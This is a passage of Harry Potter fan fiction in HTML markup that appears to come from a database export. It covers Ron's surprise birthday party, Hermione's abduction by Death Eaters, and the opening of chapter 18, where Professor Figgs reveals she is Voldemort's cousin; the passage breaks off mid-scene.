<i>Shower, Change, and head over to</i>\n\n<i>Hogsmeade. Dear Merlin, please let this go well. Why did I let the Twins arrange all of this? Oh, I hope this turns out all right.</i></p><i>\n\n</i><p>	I reached the Three Broomsticks already packed with students and several professors. In the middle of the room there were gifts piled high on top of a table waiting to be unwrapped. I scanned the room to see familiar faces laughing and patiently standing by the door. Seamus and Dean stood by the window, looking out for the birthday boy. Fred and Aneglina sat chatting with Roger and Alicia who appeared to be having a normal conversation with out any pranks. George stood comfortably next to Sally Ann discussing very quietly about something. Slowly I walked towards Ginny who was standing in front of the door. </p>\n\n<p>	&quot;Where is Neville?&quot; I glanced around the room.</p>\n\n<p>	&quot;He and Susan went to get the cake.&quot; She squeezed my hand noticing my anxious expression. &quot;Don&#8217;t worry Hermione. Fred and George haven&#8217;t planned anything deadly for the birthday boy.&quot;</p>\n\n<p>	&quot;I just hope he&#8217;s not mad at me. It was very difficult pretending I didn&#8217;t remember his birthday. You should have seen his face when he asked if anything special was happening today.&quot; I chuckled replaying Ron&#8217;s sour mood.</p>\n\n<p>	&quot;They are coming!&quot; Seamus screamed towards us.</p>\n\n<p>	&quot;Get ready everyone.&quot; Dean added yelling with commotion around us. &quot;1&#8230;2&#8230;3!&quot;</p>\n\n<p>	&quot;Surprise!&quot; Everyone shouted at Ron entering behind Harry and Charlie. He stood stunned with his wide brown eyes staring at the crowd. Then Ron stood speechless, as everyone sang Happy Birthday with Neville and Susan bringing the large Quaffle shaped-cake out. Simultaneously Harry and I took his hand guiding him towards the cake, lit with sixteen candles. The song ended and he calmly closed his eyes to make a wish. Afterward with his trademark dimples, he blew them all out with one breath.</p>\n\n<p>	&quot;Oh&#8230;Ronniekins doesn&#8217;t have a girlfriend yet.&quot; Fred smiled next to Angelina.</p>\n\n<p>	&quot;At least he&#8217;s not tied to the hip like other people.&quot; George teased back, making the couple blush.</p>\n\n<p>	&quot;Let&#8217;s cut the cake.&quot; Harry interrupted before more embarrassment could be passed around. Soon delicious vanilla frosted cake was distributed among the crowd. With several other light remarks and small pranks, we stood patiently watching Ron unwrap his pile of presents. Extremely happy from the attention, he deliberately took his time with each one. Finally the last gift was revealed, allowing the band to start the music.</p>\n\n<p>	 While couples formed on the dance floor, I settled comfortably in the back corner. <i>This is what I</i>\n\n<i>enjoyed most</i>. My eyes wander from each person, smiling as they laughed. I was always a quiet person, who spent most of my time alone. But then I came here where everything changed my life. I glanced towards Ron, merrily laughing with his sister and brothers. The cheerful family each added their own friends or partners but you could notice the way their private love communicated between their eyes. This hot-tempered boy, who I thought was nothing but a troublemaker, changed me. He taught me to laugh at life as much as I can and let loose once and a while. Noticing my gaze, he looked towards me with his familiar grin. With a smile and wink, he lifted his drink at me. I returned the gesture and glanced towards the other boy who affected my life.</p>\n\n<p>	Harry sat across from Professor Figgs who snuggled closely next to Remus. The couple ignored the expressions from the students while enjoying their own private moment. Harry continuously patted a large black dog, and laughed at something Remus had said. His eyes twinkled like they always do when he was happy. Those familiar green eyes always seem to brighten when he laughed in his alto voice. Merlin knows how much I have stared into those eyes. The first time I met him, he captured me by his gaze. Even without Voledmort and his followers, he still would be special with just those eyes. He has affected me in so many ways that I don&#8217;t even know where to start. Noticing my stare, Harry looked directly at me with a knowing smile. Slowly he walked towards me without breaking eye contact. Harry placed his arm around my shoulder, and I wrapped my arms around his waist. We sat peacefully in each other&#8217;s embrace. </p>\n\n<p>	&quot;What are you thinking about?&quot; Harry brushed his head against my hair.</p>\n\n<p>	&quot;I hope we have more moments like these.&quot; I sighed reluctantly.</p>\n\n<p>	&quot;We will.&quot; He said confidently. &quot;I will see to it myself.&quot;</p>\n\n<p>	&quot;I know you will. And I will be helping you along the way.&quot; I moved to briefly kiss his lips.</p>\n\n<p>	&quot;Will there be time when you two aren&#8217;t touching?&quot; Ron appeared glowing with a wide smile.</p>\n\n<p>	&quot;You are just jealous.&quot; I sat closer to Harry, allowing Ron to sit beside me.</p>\n\n<p>	&quot;Na&#8230;never thought Harry could handle me.&quot; We laughed at this comment. &quot;But I was jealous at first.&quot; Ron suddenly spoke in a serious tone. &quot;I wasn&#8217;t sure if I could handle being the third wheel. Sometimes when I notice you two look at each other; you&#8217;re having your own conversation. I would feel out of the loop.&quot;</p>\n\n<p>	&quot;Ron, you are not a third wheel.&quot; I clasped my hands over his. &quot;You are our best friend. We&#8217;re the dream team. The Golden trio. Nothing will ever change that.&quot; </p>\n\n<p>	&quot;She&#8217;s right.&quot; Harry placed his hand over ours. &quot;It will always be the three of us. Since the beginning and till the end. I plan on making it a long time with you two.&quot; Harry grinned in his lope-sided manner.</p>\n\n<p>	&quot;Great, I get to see you two snog all the time.&quot; Ron engulfed us into a bear hug. &quot;Thank you for this.&quot;</p>\n\n<p>	&quot;Nonsense,&quot; I wiped away my tears. &quot;We just mentioned the idea to the twins, and they went crazy with it.&quot;</p>\n\n<p>	&quot;Don&#8217;t look at me.&quot; Harry joked. &quot;She&#8217;s always been the brains in the operation.&quot; I jabbed his stomach. </p>\n\n<p>	&quot;Either way, thank you. I wouldn&#8217;t know what my life would be like without you two.&quot; Ron stood facing us.</p>\n\n<p>	&quot;Probably living with less stress.&quot; Harry shrugged.</p>\n\n<p>	&quot;Or flunked out of school,&quot; I teased.</p>\n\n<p>	&quot;Or maybe would never have learned what true friendship means.&quot; He returned to that serious tone. <i>He sounds so strange like that</i>. &quot;For the first time since I can remember, I didn&#8217;t wish for riches or fame. I made a wish hoping you two will always be laughing beside me. I have learned to live without gold or glory. But I&#8217;m not sure if I could life without you two.&quot; Harry and I stood holding his hand. &quot;So at the risk of sounding sentimental, I love you two. And I hope my wish will always come true.&quot; Instantaneously I wrapped my arms around him with Harry following.</p>\n\n<p>	&quot;I love you too Ron.&quot; I said between my hiccups. Harry only embraced us in a shaking manner.</p>\n\n<p>	&quot;I know mate. You will understand someday. But you just need to know that people do love you.&quot; Ron patted his best friend&#8217;s back.</p>\n\n<p>	Click</p>\n\n<p>	We untangled from the hug, hearing the foreign noise. There stood most of the crowd clapping with Colin standing with his camera in front of them. &quot;Another picture to remember tonight.&quot; He asked eagerly.</p>\n\n<p>	&quot;Of course, fire away.&quot; Harry shouted. Ron and I were shocked since he never liked taking pictures. With a tight squeeze from both my boys, I smiled straight into the camera. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;Good afternoon, or should I say morning, since you look like you just got out of bed.&quot; Blaise appeared in front of my table in the back corner of the library.</p>\n\n<p>	&quot;You are so funny.&quot; I said in a dry tone. &quot;Wait no one is laughing.&quot; I pushed my book aside.</p>\n\n<p>	&quot;You Gryffindors are famous for you&#8217;re parties, yet you forget what happens when it is on a weekday.&quot; She rolled her eyes at our own mistake. <i>I&#8217;m too tired to argue with her</i>.</p>\n\n<p>	&quot;Ron&#8217;s birthday is March 1, so we had to do it yesterday. Besides the Quidditch match is on Saturday, and Harry didn&#8217;t want people to tired for it if the party was tonight.&quot; </p>\n\n<p>	&quot;I really don&#8217;t understand why we keep having matches. Harry hasn&#8217;t missed the snitch yet, unless there is some deadly thing attacking him.&quot; She remarked in a bored manner.</p>\n\n<p>	&quot;Well if you were on the team, then you might actually beat us.&quot; I started to pack my things into my school bag.</p>\n\n<p>	&quot;If I were actually on the team, then that would mean I care.&quot; She tossed her hair behind her shoulder.</p>\n\n<p>	&quot;Heaven forbid, you actually care about something.&quot; I replied sarcastically.</p>\n\n<p>	&quot;You got it.&quot; We left the library, heading towards our training. &quot;Are you still paranoid about someone following you?&quot; She noticed my wand placed in my hand.</p>\n\n<p>	&quot;I just feel like I&#8217;m being watched.&quot; We reached the hidden portrait.</p>\n\n<p>	&quot;Well if you were, you could tell them 20 ways in which their following techniques are wrong.&quot; She teased at me.</p>\n\n<p>	&quot;I am not that bad.&quot; I mumbled towards her. &quot;Warm fuzzy socks,&quot; we entered into the room.</p>\n\n<p>	&quot;No of course not. You are just logical.&quot; I glared in her response.</p>\n\n<p>	&quot;Hello girls, are you ready for a duel?&quot; Professor Figgs appeared behind another door.</p>\n\n<p>	I smiled in a devilish manner, &quot;Extremely prepared.&quot; Blaise slightly paled at my tone of voice. <i>This is going to be fun.</i></p><i>\n\n<p>&nbsp;</p>\n\n</i><p><i>	</i>&quot;To hell with the greasy bloke! I hope he chokes from inhaling the fumes of his potions. Or melts from the sunlight, since he never is exposed to heat.&quot; Ron shouted, frantically pacing around in his room.</p>\n\n<p>	&quot;Ron,&quot; I tried to voice in reason.</p>\n\n<p>	&quot;Just let him be Nene,&quot; Harry whispered beside me. &quot;Snape seemed harsher than usual on him during training. He just needs some time to vent.&quot; We watched Ron mutter incoherent words to himself.</p>\n\n<p>	&quot;But Harry it&#8217;s late, and you two have a game tomorrow. You need your energy, since you guys didn&#8217;t sleep much last night.&quot; I yawned as I finished talking.</p>\n\n<p>	&quot;I think you&#8217;re the one who needs to sleep.&quot; Harry ran his fingers through my hair. &quot;Go to bed. You have heard enough of his rants. I want my biggest fan cheering for me tomorrow.&quot;</p>\n\n<p>	&quot;All right, good night Harry.&quot; I placed a gentle kiss on him.</p>\n\n<p>	&quot;Goodnight Nene,&quot; he smiled handing me my book. &quot;And don&#8217;t stay up all night, reading about Chinese mythology.&quot;</p>\n\n<p>	&quot;I&#8217;ll try not too, but its so good.&quot; I walked over to Ron. &quot;Goodnight Ronny,&quot; I kissed his cheek. He stopped with a brief smile then continued on in his anger rampage.</p>\n\n<p>	Feeling more refresh the next morning, I decided to read by the lake before breakfast. Since it was Saturday morning, hardly anyone was awake in the large castle. I reached the lake with the sun high in the sky. Lying on the ground, I notice the water reflecting the shiny glow from the sunlight. Slowly between the tender winds and warm light, I drifted off to sleep.</p>\n\n<p>	&quot;Nene&#8230;Nene&#8230;it&#8217;s time to wake up.&quot; I heard a voice say my name.</p>\n\n<p>	&quot;But I don&#8217;t want too.&quot; I mumbled to the voice. It laughed in response.</p>\n\n<p>	&quot;Come on sweetheart, you missed breakfast.&quot; I felt something caress against my cheek. &quot;I brought you something to eat.&quot; Suddenly I felt something soft against my lips. I opened my eyes to see Harry. &quot;Finally you&#8217;re awake.&quot; He grinned pulling me up as well.</p>\n\n<p>	&quot;Have you been here long?&quot; I snuggled closer towards him.</p>\n\n<p>	&quot;Just 20 minutes. I didn&#8217;t have the heart to wake you up.&quot; He placed a basket in front of me. &quot;Anyway I brought your favorite.&quot;</p>\n\n<p>	&quot;French toast and pumpkin juice?&quot; </p>\n\n<p>	&quot;And sliced pears,&quot; he grinned at my brighten expression. Quickly I reached for the food, eating each morsel. <i>This tastes so good</i>. &quot;Slow down Nene, there is not rush.&quot;</p>\n\n<p>	&quot;Harry, your match starts soon. We need to get to the pitch.&quot; I swallowed.</p>\n\n<p>	&quot;I told Ginny to save you a seat. I&#8217;ll head down first. You take your time and finish this.&quot; He stood showing off his Quidditch robes.</p>\n\n<p>	&quot;Okay, I will listen to you this time.&quot; He smiled about to walk away. &quot;Harry!&quot; I called out.</p>\n\n<p>	&quot;Yeah,&quot; he stopped at my voice.</p>\n\n<p>	&quot;I love you.&quot; </p>\n\n<p>	&quot;And I need you.&quot; He replied back then returned towards the castle. <i>Someday Harry I will hear you say I love you.</i></p><i>\n\n</i><p>	Ten minutes later, I finished my meal, ready to cheer on my boys. I was about to enter into the castle when I heard a voice cry out. &quot;Help&#8230;help&#8230;please someone help me!&quot; Quickly I ran towards the plea, dropping my book and basket at the doorway. &quot;Help me!&quot; The voice seemed to yell from the Forbidden Forest. <i>I should get help. It&#8217;s too dangerous for me to go alone</i>. Before I could turn for reinforcements, I was grabbed from behind.</p>\n\n<p>	Instantly I used my legs to kick whomever was behind me. &quot;Stupefy!&quot; I shouted at the large attacker. I turned to cast again at the other attacker but he was too agile. Harshly he grabbed my arm twisting it towards him. I screamed in pain. He tried to cover my mouth, but I bite him instead. Then with him caught off guard, I stomped on his foot. He let go of my arm, allowing me time, to cast a fully body bind.</p>\n\n<p>	&quot;Help me!&quot; I heard the voice cry out again. &quot;Please help me!&quot;</p>\n\n<p>	&quot;Where are you?&quot; I searched behind the tall dark trees.</p>\n\n<p>	&quot;Right here!&quot; I turned to see Peter Kingston crouching beneath a dying tree. <i>Good&#8230;I found you</i>. Sighing with relief, I check to see if he was hurt. &quot;Peter, are you hurt? If not, we need to get out of here. Its not safe here.&quot; I brushed away his hair that was covering his face. Then I saw his eyes, which held a look not like a child&#8217;s. &quot;You&#8217;re not Peter.&quot; I said backing away.</p>\n\n<p>	&quot;Actually I am. But I prefer to use the name Wormtail.&quot; The face smiled in an eerie expression. &quot;Let&#8217;s continue this conversation later, shall we?&quot;</p>\n\n<p>	&quot;I rather not.&quot; I noticed another figure with the two I left earlier. &quot;What, you need four people to attack me? I didn&#8217;t know Death Eaters stooped that low.&quot; <i>Think quick Granger!</i></p><i>\n\n</i><p>	&quot;Always be prepared. I remember you saying that to Harry and Ron all the time.&quot; Peter taunted towards me. I moved my hand, feeling my bracelet against my wrist. I knew I couldn&#8217;t run away. <i>Sorry Harry, I guess I can&#8217;t walk away safely from this one</i>. Unclasping my bracelet, I let it fall to the ground beside me. </p>\n\n<p>	&quot;Incendio!&quot; I pointed in front of them, starting a small fire. Then I ran, hoping to get as far away from them as I could. I felt like a rabbit being hunting by vicious dogs. And like all rabbits, I wasn&#8217;t fast enough. &quot;Stupefy!&quot;</p>\n\n<p>	</p>\n\n<p>	&quot;Miss, are you awake?&quot; I groggily opened my eyes. &quot;Do you remember what happened? Are you hurt?&quot; A middle-aged woman carefully lifted me against the wall. <i>Oh&#8230;my head</i>.</p>\n\n<p>	&quot;Where are we?&quot; I croaked from the dryness in my throat. I squinted from the darkness in the room. I noticed only stone walls, and a large metal door. <i>No escape</i>.</p>\n\n<p>	&quot;What do you think?&quot; A male voice replied lurking in the corner. <i>Where did he come from?</i></p><i>\n\n</i><p>	&quot;Pardon him Miss, but we do not know where we are.&quot; <i>Great, how to get help?</i> &quot;Oh, where are my manners? My name is Maria Lupe and this is my son Carlos.&quot; <i>I finally find you, but ironically I&#8217;m in the same position as you.</i></p><i>\n\n</i><p>	&quot;We have been looking for you for months now. Have you been here this whole time?&quot; I asked her.</p>\n\n<p>	&quot;Yes,&quot; before she could continue light entered from the door. <i>Breathe Granger, just breathe</i>.</p>\n\n<p>	&quot;Take the girl,&quot; a deep voice said. &quot;And bring her to the laboratory.&quot; I felt Maria squeeze my hand, trying to give me strength. Then two men came rushing towards me, and everything turned black.</p>\n\n<p>	</p>\n\n<p>-----------------------------------Meanwhile (Her View)------------------------------------------------------</p>\n\n<p>	&quot;Where could she be?&quot; Ron paced in our usual meeting place. I glanced around the room to see everyone thinking the same thing. The Professors who were clumped together discussing what to do about their missing student. I noticed the Weasley family sitting trying comforting Ginny who was crying on Neville&#8217;s shoulder. Blaise, who always seemed so unbreakable, stared quietly into the fireplace. Most of the other students just listened as Ron went on and on in anger. And the one who should have been hysterical didn&#8217;t say a thing. In fact he didn&#8217;t even move. Harry Potter, the boy who was so exotic and mysterious to everyone, was gone. His eyes held nothing. They seemed lifeless. </p>\n\n<p>	&quot;Ron, calm down. We will find her.&quot; I heard Professor Weasley say.</p>\n\n<p>	&quot;How Charlie? She could be in a million places with anyone. All we have is a dropped book and bracelet.&quot; Ron shouted towards him. </p>\n\n<p>	&quot;I knew I should have gone with you Harry. She wouldn&#8217;t have disappeared if I was there.&quot; Ginny sobbed louder, causing many people to flinch.</p>\n\n<p>	&quot;Ginny, it&#8217;s not your fault. Anyone of us could have been there. If they wanted to take her they would have with or without you.&quot; I said across from her.</p>\n\n<p>	&quot;Ms. Bones is right. We should not take the blame for this.&quot; Professor Dumbledore said trying to calm everyone&#8217;s nerves.</p>\n\n<p>	&quot;I think she should.&quot; Harry murmured towards Blaise.</p>\n\n<p>	&quot;What is that suppose to mean Potter?&quot; I saw her twitch from everyone&#8217;s gaze.</p>\n\n<p>	&quot;Zabini, you follow her all the time. She even said she felt someone watching her. Now she disappears, right when people start to trust you. But I knew you couldn&#8217;t be trusted.&quot; Harry stared straight at her. <i>She wouldn&#8217;t do that would she? I don&#8217;t practically like her, but I know she respects and likes Hermione. She wouldn&#8217;t do that to her.</i></p><i>\n\n</i><p>	&quot;That&#8217;s pretty funny coming from you Potter. I never declared our friendship to the entire school. You&#8217;re the idiot who decided to tell everyone to back off your girl.&quot; Her tone of voice was stronger and filled with anger.</p>\n\n<p>	&quot;Now I think we should,&quot; Mr. Lupin tried to interrupt.</p>\n\n<p>	&quot;Well your family is still connected with death eaters. You could have told them.&quot; Harry continued on.</p>\n\n<p>	&quot;So is a quarter of this school, and Professor Snape. I don&#8217;t see you barking down their throats.&quot; She stepped closer towards Harry. I noticed most of people were only keeping silent from the Headmasters quiet plea, to let them be.</p>\n\n<p>	&quot;Professor Snape switched sides a long time ago.&quot;</p>\n\n<p>	&quot;Well my father was never a death eater.&quot;</p>\n\n<p>	&quot;So you don&#8217;t deny he still has contact with them.&quot;</p>\n\n<p>	&quot;I really don&#8217;t care what they do as long as they don&#8217;t bother me.&quot;</p>\n\n<p>	&quot;I feel sorry for your mother.&quot;</p>\n\n<p>	&quot;Don&#8217;t ever talk about my mom, you naive pompous nitwit!&quot; Blaise bellowed with her face turning red. Her sudden rush of emotions shocked most of us.</p>\n\n<p>	&quot;Is that the best insult you could do?&quot; He replied in a smug manner. Before Professor Dumbledore could stop them from continuing, hell broke loose.</p>\n\n<p>	&quot;Actually Potter, I could have said something about your parents, but then I remember that you didn&#8217;t know them.&quot;</p>\n\n<p>	Wham! Blaise went flying across the room, hitting the wall. &quot;Harry control yourself!&quot; The headmaster shouted. Ron quickly whispered words into his ears, trying to calm the angry boy.</p>\n\n<p>	Professor Snape quickly added. &quot;Mr. Potter, whatever childish grudges you have towards your classmates need to be stopped now. Hurting everyone will not bring Ms. Granger back.&quot; He helped me, as I gently lifted Blaise from the ground. &quot;Mr. Potter I believe you owe Ms. Zabini an apology.&quot; He sneered towards Harry.</p>\n\n<p>	&quot;I don&#8217;t need his apology.&quot; Blaise shrugged away from our support. &quot;Or your help!&quot; She shouted at me.</p>\n\n<p>	&quot;I wasn&#8217;t going too!&quot; Harry equally yelled back. He turned away from everyone&#8217;s gaze while Blaise started to head towards the door. But Professor Snape quickly grabbed her forearm. </p>\n\n<p>	&quot;Ouch!&quot; she shouted in pain. Our faces changed into concern and Harry&#8217;s eyes turned into a guilty stare. </p>\n\n<p>	&quot;You are hurt Ms. Zabini.&quot; He pulled her sleeves revealing large dark bruises.</p>\n\n<p>	&quot;Hurts more when you grab me too.&quot; She struggled away from his touch.</p>\n\n<p>	&quot;Did I do that?&quot; Harry stepped closer to her. <i>He couldn&#8217;t have done those bruises. They look to have been done a day or so.</i></p><i>\n\n</i><p>	&quot;Rest your conscience Potter, this isn&#8217;t from you.&quot; She sprinted out the door without hearing anyone&#8217;s response. Everyone stood stunned at what just happened, wondering what to do next. </p>\n\n<p>	&quot;I should go talk to her.&quot; Ginny said behind me.</p>\n\n<p>	&quot;No, I&#8217;ll go.&quot; </p>\n\n<p>---------------------------------Next Day (His View)---------------------------------------------------------</p>\n\n<p>	I was nervous. What if we didn&#8217;t find her? What if she&#8217;s dead? How much longer can I play the supporting boyfriend? I looked around the room, to see faces of a dreamless night. I sighed with relief seeing Ron with Harry. I wonder where Harry was last night? He didn&#8217;t even return to bed. Ron woke up pretty early looking for him. Though I never said anything to him, I admired Ron. I mean Harry is the hero, but great leaders need great followers as well. I don&#8217;t think I will ever understand how Ron could handle being Harry Potter&#8217;s best friend. But if anyone could do it, it would be Ron. Feeling the couch move beneath me, I turned to see my best friend.</p>\n\n<p>	&quot;Sue, are you okay?&quot; Her face wasn&#8217;t as rosy as it usual was.</p>\n\n<p>	&quot;I didn&#8217;t sleep much.&quot; She replied, &quot;I never got a chance to talk to Blaise.&quot;</p>\n\n<p>	&quot;I&#8217;m sure she&#8217;ll come around. I mean she is friends with Hermione. She wouldn&#8217;t give up.&quot; I patted her hand resting near mine.</p>\n\n<p>	&quot;Where is Ginny?&quot; </p>\n\n<p>	&quot;Her dad arrived last night. Most of the Weasleys have been with each other since.&quot; </p>\n\n<p>	&quot;How are Harry and Ron?&quot; She whispered not wanting them to hear. </p>\n\n<p>	&quot;Surviving I guess. Harry didn&#8217;t return to the dorms last night and Ron didn&#8217;t sleep much.&quot; I shrugged my shoulders in my usual manner.</p>\n\n<p>	&quot;I hope we find her Neville. We were just getting to know each other better. I really think she is an amazing person. I mean I&#8217;m in disbelief right now. I don&#8217;t even want to imagine what everyone else is feeling.&quot; Susan said with a rush of words.</p>\n\n<p>	&quot;We&#8217;ll find her Sue.&quot; I said with every ounce of confidence I had.</p>\n\n<p>	&quot;How can you be so sure?&quot;</p>\n\n<p>	&quot;Because Hermione always said that the heroine never disappears.&quot; Then the room grew silent as Professor Dumbledore entered in with Blaise. I saw Harry and Ron watch her every move as she settled next to the headmaster.</p>\n\n<p>	&quot;Have you found something Professor?&quot; Ron asked without hesitation.</p>\n\n<p>	 The headmaster looked around the room with a bittersweet smile and rested his eyes on Professor Figgs. &quot;Arabella, would you like to explain what you received last night?&quot; She nodded and appeared extremely terrified. Slowly she stood with Mr. Lupin holding her hand behind her.</p>\n\n<p>	&quot;I received a letter indicating that Death Eaters do have Hermione. She is being held ransom until we give them what they want.&quot;</p>\n\n<p>	&quot;Just tell me where they want me.&quot; Harry broke the moment of silence.</p>\n\n<p>&quot;Climb down from your throne Potter, they don&#8217;t want you.&quot; Blaise replied bitterly. </p>\n\n<p>	&quot;What do they want then?&quot; Cho voiced in.</p>\n\n<p>	&quot;Me,&quot; Professor Figgs answered.</p>\n\n<p>	&quot;Arabella why would they want you?&quot; Bill asked puzzled by her statement.</p>\n\n<p>	&quot;Because you belong to him,&quot; Ginny suddenly spoke with a distance tone. I noticed people shiver from the idea.</p>\n\n<p>	&quot;You&#8217;re a death eater!&quot; Harry bellowed looking ready to attack her.</p>\n\n<p>	&quot;No,&quot; my shoulders relaxed hearing her comment. &quot;I&#8217;m his cousin.&quot; She sat down beside Mr. Lupin, ready for the floor to collapse beneath her. </p></font>\n\n '),
	(239, 19, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Disclaimer: Definitly not mine</title>\n\n\n\n<font size="2"><p>Disclaimer: Definitely not mine.</p>\n\n<p></p>\n\n<p>Hello everyone! Sorry if this has taken me forever, but I&#8217;ve been so busy. I decided to take summer courses and work at the same time. To top it off, my mom started having back problems again, which led me to take care of all the house work. Anyway I hope you like this chapter, because were almost towards the end. I think I&#8217;ll be done within 2 chapters. Then I might work on some other things, and see if I should write a sequel. Big thanks to my beta readers and those still reading this story. Hope you like!!!</p>\n\n</font><b><u><p>The Middle of Understanding</p>\n\n</u></b><p>Chapter 18</p>\n\n<b><p>Discoveries</p>\n\n</b><font size="3"><p>	(Previously Hermione&#8217;s POV)</p>\n\n<p>Tick&#8230;Tack&#8230;Tick&#8230;Tack&#8230;Cling&#8230;Tick&#8230;Tack&#8230;Tick&#8230;Tack&#8230;Cling</p>\n\n<p>	<i>What is that noise?</i> &quot;Lavender, did you forget to turn off the faucet? Lavender? Parvati?&quot;</p>\n\n<p>	&quot;You&#8217;re not at Hogwarts anymore child.&quot; A gentle voice called from the dark corner of the laboratory. <i>I thought it was all a bad dream</i>. I felt the soft velvet beneath, which felt like a small cot. &quot;Where am I? And who are you?&quot; She stepped closer into the light revealing gray hairs and a weary smile.</p>\n\n<p>	&quot;You&#8217;re in the Dark Lord&#8217;s home.&quot; She paused adjusting her plants. &quot;And my name is Adelaide Gustoven.&quot; </p>\n\n<p>	&quot;You&#8217;re helping him. That&#8217;s why your husband returned to Spain.&quot; I tried to move but my body would not listen to my brain. &quot;Why can&#8217;t I move?&quot; I asked with a panic.</p>\n\n<p>	&quot;I believe the muggle term is drugged.&quot; I noticed her rough cotton dress move as she came closer towards me. &quot;Here drink this, it&#8217;ll help you feel better.&quot; She opened my mouth as the cold liquid passed down my throat.</p>\n\n<p>	&quot;Why are you helping them?&quot; I felt tried again for some odd reason.</p>\n\n<p>	&quot;I have no other choice child.&quot; I sensed her sitting down with her sudden weight on the bed.</p>\n\n<p>	&quot;We all have choices.&quot; I yawned again.</p>\n\n<p>	&quot;They have my nephew. If I didn&#8217;t cooperate, he will die.&quot; Her eyes shed silent tears.</p>\n\n<p>	&quot;He would kill anyone even if he promised not too.&quot; She turned with a look that surprised me. It was a look of hope and even&#8230;faith.</p>\n\n<p>	&quot;Then I gave Peter a second longer in life.&quot; Her pale lips curled into serious smile. <i>Does she mean</i>\n\n<i>Peter Kingston?</i> &quot;Stay strong child. If I couldn&#8217;t be, I hope you will.&quot; With quickness she did not have earlier, she left me tired and alone in a place where nothing was like home.</p>\n\n<p></p>\n\n<p>	(Present Day Blaise&#8217;s POV)</p>\n\n<p>	&quot;I&#8217;m his cousin.&quot; The room stood silent as her words pierced through the air. Great people had died, families torn apart, and chaos created all from a demon she called cousin. She had been the missing link. Her presence was under all our noses. She tricked us all. Not bad Professor Figgs, even a Slytherin like me is impressed.</p>\n\n<p>	&quot;So what does he want you?&quot; Bones asked bravely. <i>Dear Merlin stop staring at me. Do I have</i>\n\n<i>a big sign saying LOOK AT BLAISE!</i>\n\n<i>It&#8217;s bad enough with Professor Snape stocking me. Do I need a Hufflepuff&#8217;s sympathy as well?</i></p><i>\n\n</i><p>	&quot;They need my blood.&quot; Professor Figgs took a long breathe. &quot;He needs me.&quot; She finally dared to look up with dull hollow eyes. &quot;Hermione and Blaise were right about him looking for his kin. Maria Lupe is a distant cousin of Tom Riddle. And I&#8217;m his direct cousin on his mother&#8217;s side. His Death Eaters have been trying to track me down since his first fall. These last two years I&#8217;ve been receiving letters calling for me to join him. Lucky Albus has kept me safe from them. But with all these years of hiding, I never expected them to take someone else&#8230;for me.&quot; She broke down crying with so much grief, it hurt to listen.</p>\n\n<p>	&quot;But you can&#8217;t go to him.&quot; Ginny spoke in trembling state. &quot;He&#8217;ll kill you. It doesn&#8217;t matter what he says or does. He has no soul.&quot;</p>\n\n<p>	&quot;Then Hermione will die instead!&quot; Weasley&#8217;s voiced raised a higher octave. <i>I didn&#8217;t know Sparky had it in him.</i></p><i>\n\n</i><p>	&quot;What would they do to you?&quot; The boy wonder finally said. <i>Merlin he looks like hell</i>.</p>\n\n<p>	&quot;They already have all the components listed in the poem. All they&#8217;re missing is her blood.&quot; I spoke directly to Potter.</p>\n\n<p>	&quot;We know that! What will actually happen to her?&quot; He stood trying to imitate me.</p>\n\n<p>	&quot;Sit down and let me continue!&quot; I looked around the room; surprised by the attention I was receiving. &quot;In ancient Chinese Mythology there once was a god who killed himself out of anger towards everyone around him. After his suicide, his soul was left wondering the world. His mother begged and pleaded a great sorcerer to allow her son a second chance to live. After many pleas, he conceded. From the sorcerer&#8217;s great magic and skill, he was able to transfer the lost soul into a human formed lotus roots.&quot;</p>\n\n<p>	&quot;I remember hearing that story from my mom.&quot; Chang&#8217;s forehead wrinkled in thought. &quot;Yet I don&#8217;t remember hearing anything about blood. It supposedly was from the water of life that allowed him to be human again.&quot;</p>\n\n<p>	&quot;Our human body is 75% water. And without blood we couldn&#8217;t function.&quot; I quickly answered.</p>\n\n<p>	&quot;How do you know all of this?&quot; One of the Weasley Twins asked with suspicious. I lifted Hermione&#8217;s book in the air. &quot;She was only two chapters away from reading the story. From the myth and poem, it was pretty much putting the puzzle together.&quot;</p>\n\n<p>	&quot;So what are we going to do now?&quot; Mr. Black asked.</p>\n\n<p>	&quot;Give them what they want?&quot; Potter seriously spoke.</p>\n\n<p>	&quot;Harry, how could you suggest that!&quot; Mr. Lupin shouted.</p>\n\n<p>	&quot;How else are we going to get Hermione back. I mean if we at least send Professor Figgs back, we could save Hermione. If not she dies, and they still chase after you Professor.&quot; Potter&#8217;s eyes seem to be holding back unshed tears.</p>\n\n<p>	&quot;We could keep a tracker on her.&quot; Sparky voiced in.</p>\n\n<p>	&quot;I can&#8217;t believe we&#8217;re even considering this.&quot; Mr. Lupin responding in a flat manner.</p>\n\n<p>	&quot;Moony calm down.&quot; Mr. Black stood wearily with Professor Sprout helping him stand. Soon chaos filled the room with people screaming and shouting. <i>If I wasn&#8217;t so tired and depressed, it would have been funny.</i></p><i>\n\n</i><p>	&quot;Silence!&quot; The usual gentle voice boomed through the room. &quot;I believe this is not a matter we can decide, expect for you Arabella.&quot; Professor Albus turned towards her. &quot;The choice is yours. We will support any decision you make.&quot; His eyes twinkled showing love and respect.</p>\n\n<p>	&quot;I&#8230;I will go.&quot; Her voice creeped through the silent room. &quot;And we&#8217;ll save Hermione.&quot; She glanced towards Potter then me. <i>Hold on Hermione, we&#8217;re coming for you.</i></p><i>\n\n</i>\n\n<p></p>\n\n<p>	(Present Day Hermione&#8217;s POV)</p>\n\n<p>	&quot;Wake her,&quot; I heard an eerie voice called out. Soon shuffles and murmurs followed the vile sound.</p>\n\n<p> Whack! </p>\n\n<p>My face jolted aside as someone slapped me hard across the face. Numbly I opened my eyes to see dark figures surrounding me. &quot;You&#8217;re finally awake. I had more interesting ways of waking you.&quot; He slowly inched closer to my exhausted body.</p>\n\n<p>	&quot;Sorry, I don&#8217;t entertain psychotic idiots.&quot; I barely was heard through the crowd. <i>Why am I so weak?</i></p><i>\n\n</i><p>	&quot;I can think of the perfect entertainment you can do for us.&quot; His large hands grabbed my arms, pulling me only inches away from his ugly face. <i>Oh Harry where are you?</i></p><i>\n\n</i><p>	&quot;Avery, put the mudblood down. You were told to bring her to the Dark Lord unharmed.&quot; The chilling voice sneered. &quot;Besides I didn&#8217;t think you would stoop so low for an easy thrill.&quot; Hollow laughter followed his comment, while Avery&#8217;s face scrunched in anger.</p>\n\n<p>	&quot;Lucius, you certainly are not in the position to 